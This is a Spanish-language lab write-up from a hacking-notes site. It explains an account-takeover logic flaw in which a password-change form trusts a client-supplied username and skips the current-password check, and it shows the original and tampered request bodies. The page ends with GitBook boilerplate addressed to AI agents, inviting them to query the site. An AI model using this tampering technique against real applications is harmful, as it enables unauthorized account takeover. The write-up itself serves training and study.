> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/business-logic/low-isolation-on-a-dual-use-endpoint.md).

# Aislamiento bajo en un endpoint de doble uso

### Aislamiento débil en un endpoint de doble uso

**Descripción del laboratorio**

Este laboratorio se basa en una suposición errónea sobre el nivel de privilegios del usuario, basada únicamente en los parámetros enviados por el cliente. / Al explotar una falla lógica en la funcionalidad de gestión de cuentas, es posible tomar el control de cuentas arbitrarias, incluida la cuenta de administrador.

\*\* Objetivo:\*\*/ Accede a la cuenta de administrador y elimina al usuario **carlos**.

**Credenciales proporcionadas:**

* Usuario: `wiener`
* Contraseña: `peter`

<figure><img src="/files/9454af563bb723e356c052a54561d3c85b0a1b6b" alt=""><figcaption></figcaption></figure>

**Observación del mecanismo de cambio de contraseña**

Una vez conectado a la `wiener` cuenta, una función permite cambiar la contraseña. / La solicitud enviada al servidor es la siguiente:

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=wiener
&current-password=peter
&new-password-1=jordan
&new-password-2=jordan
```

El servidor usa el `username` parámetro proporcionado por el cliente para determinar la cuenta que se va a cambiar.

<figure><img src="/files/83eda64682fbd6eb35d283695ad58b4b8c04e289" alt=""><figcaption></figcaption></figure>

**Explotación del fallo lógico**

Al modificar la consulta, es posible dirigirse a otro usuario.

<figure><img src="/files/6d063ead5cc32e093dd5dd49342e2e68aa479bfe" alt=""><figcaption></figcaption></figure>

Además, el `current-password` parámetro no se comprueba correctamente.

Solicitud de usuario modificada **carlos**:

{% code overflow="wrap" %}

```bash
csrf=3wgY9AYHzbOWg73KitML2AQkY0fef2kK
&username=carlos
&new-password-1=jordan
&new-password-2=jordan
```

{% endcode %}

<figure><img src="/files/231cb32f6cc89086f1a550913dd6d3c11337b640" alt=""><figcaption></figcaption></figure>

El servidor acepta la solicitud y cambia la contraseña de la cuenta **carlos**, sin requerir la contraseña anterior.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/business-logic/low-isolation-on-a-dual-use-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
